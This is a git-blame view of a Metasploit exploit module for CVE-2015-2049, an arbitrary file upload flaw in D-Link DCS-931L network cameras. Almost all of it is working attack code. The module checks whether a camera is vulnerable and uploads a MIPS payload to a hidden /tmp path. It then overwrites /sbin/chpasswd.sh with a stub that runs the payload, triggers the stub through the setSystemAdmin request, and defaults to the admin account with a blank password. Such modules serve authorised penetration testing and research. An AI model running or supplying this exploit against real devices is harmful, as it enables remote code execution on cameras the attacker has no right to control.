Files
metasploit-gs/modules/exploits/linux/http/dlink_dcs931l_upload.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

209 lines
7.0 KiB
Ruby
Raw Normal View History

2016-01-05 04:15:38 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2016-01-05 04:15:38 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2016-01-05 04:15:38 +00:00
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
HttpFingerprint = { :pattern => [ /alphapd/ ] }
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link DCS-931L File Upload',
'Description' => %q{
This module exploits a file upload vulnerability in D-Link DCS-931L
network cameras. The setFileUpload functionality allows authenticated
users to upload files to anywhere on the file system, allowing system
files to be overwritten, resulting in execution of arbitrary commands.
This module has been tested successfully on a D-Link DCS-931L with
firmware versions 1.01_B7 (2013-04-19) and 1.04_B1 (2014-04-21).
D-Link DCS-930L, DCS-932L, DCS-933L models are also reportedly
affected, but untested.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mike Baucom', 'Allen Harper', 'J. Rach', # Initial discovery by Tangible Security
2019-01-10 19:19:14 +00:00
'bcoles' # Metasploit
2016-01-05 04:15:38 +00:00
],
'Payload' =>
{
'Space' => 1024, # File upload
'DisableNops' => true
},
'Platform' => 'linux',
'Privileged' => false,
'Targets' =>
[
[ 'Linux mipsle Payload',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'References' =>
[
[ 'CVE', '2015-2049' ],
[ 'URL', 'https://tangiblesecurity.com/index.php/announcements/tangible-security-researchers-notified-and-assisted-d-link-with-fixing-critical-device-vulnerabilities' ],
[ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10049' ] # Vendor advisory
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2015-02-23'))
2016-01-05 04:15:38 +00:00
register_options(
[
2016-05-27 18:37:04 -05:00
OptString.new('HttpUsername', [true, 'Camera username', 'admin']),
OptString.new('HttpPassword', [false, 'Camera password (default: blank)', ''])
])
2016-01-05 04:15:38 +00:00
end
def check
res = send_request_cgi(
'uri' => normalize_uri('uploadfile.htm'),
2016-05-27 18:37:04 -05:00
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
)
2016-01-05 13:05:01 -06:00
unless res
2016-02-01 15:12:03 -06:00
vprint_status("The connection timed out.")
2016-01-05 04:15:38 +00:00
return Exploit::CheckCode::Unknown
2016-01-05 13:05:01 -06:00
end
if res.code && res.code == 404
2016-02-01 15:12:03 -06:00
vprint_status("uploadfile.htm does not exist")
2016-01-05 04:15:38 +00:00
return Exploit::CheckCode::Safe
2016-01-05 13:05:01 -06:00
elsif res.code && res.code == 401 && res.headers['WWW-Authenticate'] =~ /realm="DCS\-931L"/
2016-02-01 15:12:03 -06:00
vprint_error("Authentication failed")
2016-01-05 04:15:38 +00:00
return Exploit::CheckCode::Detected
2016-01-05 13:05:01 -06:00
elsif res.code && res.code == 200 && res.body && res.body =~ /Upload File/
2016-01-05 04:15:38 +00:00
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
payload_path = "/tmp/.#{rand_text_alphanumeric(rand(8) + 5)}"
# upload payload
res = upload(payload_path, generate_payload_exe)
2016-01-05 13:05:01 -06:00
unless res
2016-01-05 04:15:38 +00:00
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
2016-01-05 13:05:01 -06:00
end
if res.code && res.code == 404
2016-01-05 04:15:38 +00:00
fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist")
2016-01-05 13:05:01 -06:00
elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
2016-02-01 15:12:03 -06:00
print_good("Payload uploaded successfully")
2016-01-05 04:15:38 +00:00
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload payload")
end
register_file_for_cleanup(payload_path)
# overwrite /sbin/chpasswd.sh with stub
res = upload('/sbin/chpasswd.sh', "#!/bin/sh\n#{payload_path}&\n")
2016-01-05 13:05:01 -06:00
unless res
2016-01-05 04:15:38 +00:00
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
2016-01-05 13:05:01 -06:00
end
if res.code && res.code == 404
2016-01-05 04:15:38 +00:00
fail_with(Failure::NoAccess, "#{peer} - Authentication failed or setFileUpload functionality does not exist")
2016-01-05 13:05:01 -06:00
elsif res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
2016-02-01 15:12:03 -06:00
print_good("Stager uploaded successfully")
2016-01-05 04:15:38 +00:00
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to upload stager")
end
# execute payload using stub
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('setSystemAdmin'),
2016-05-27 18:37:04 -05:00
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
2016-01-05 04:15:38 +00:00
'vars_post' => Hash[{
'ReplySuccessPage' => 'advanced.htm',
'ReplyErrorPage' => 'errradv.htm',
'ConfigSystemAdmin' => 'Apply'
}.to_a.shuffle])
2016-01-05 13:05:01 -06:00
unless res
2016-01-05 04:15:38 +00:00
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
2016-01-05 13:05:01 -06:00
end
if res.code && res.code == 401
2016-01-05 04:15:38 +00:00
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
2016-01-05 13:05:01 -06:00
elsif res.code && res.code == 200 && res.body
2016-02-01 15:12:03 -06:00
print_good("Payload executed successfully")
2016-01-05 04:15:38 +00:00
else
fail_with(Failure::UnexpectedReply, "#{peer} - Payload execution failed")
end
end
#
# Replace chpasswd.sh with original contents
#
def cleanup
chpasswd = <<-EOF
#!/bin/sh
#
# $Id: chpasswd.sh, v1.00 2009-11-05 andy
#
# usage: chpasswd.sh <user name> [<password>]
#
if [ "$1" == "" ]; then
echo "chpasswd: no user name"
exit 1
fi
echo "$1:$2" > /tmp/tmpchpw
chpasswd < /tmp/tmpchpw
rm -f /tmp/tmpchpw
EOF
res = upload('/sbin/chpasswd.sh', chpasswd)
if res && res.code && res.code == 200 && res.body && res.body =~ /File had been uploaded/
2016-02-01 15:12:03 -06:00
vprint_good("Restored /sbin/chpasswd.sh successfully")
2016-01-05 04:15:38 +00:00
else
2016-02-01 15:12:03 -06:00
vprint_warning("Could not restore /sbin/chpasswd.sh to default")
2016-01-05 04:15:38 +00:00
end
end
#
# Upload a file to a specified path
#
def upload(path, data)
2016-02-01 15:12:03 -06:00
vprint_status("Writing #{data.length} bytes to #{path}")
2016-01-05 04:15:38 +00:00
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"ReplySuccessPage\"\r\n"
post_data << "\r\nreplyuf.htm\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"ReplyErrorPage\"\r\n"
post_data << "\r\nreplyuf.htm\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n"
post_data << "\r\n#{path}\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"UploadFile\"; filename=\"#{rand_text_alphanumeric(rand(8) + 5)}\"\r\n"
post_data << "Content-Type: application/octet-stream\r\n"
post_data << "\r\n#{data}\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"ConfigUploadFile\"\r\n"
post_data << "\r\nUpload File\r\n"
post_data << "--#{boundary}\r\n"
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('setFileUpload'),
2016-05-27 18:37:04 -05:00
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
2016-01-05 04:15:38 +00:00
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data)
end
end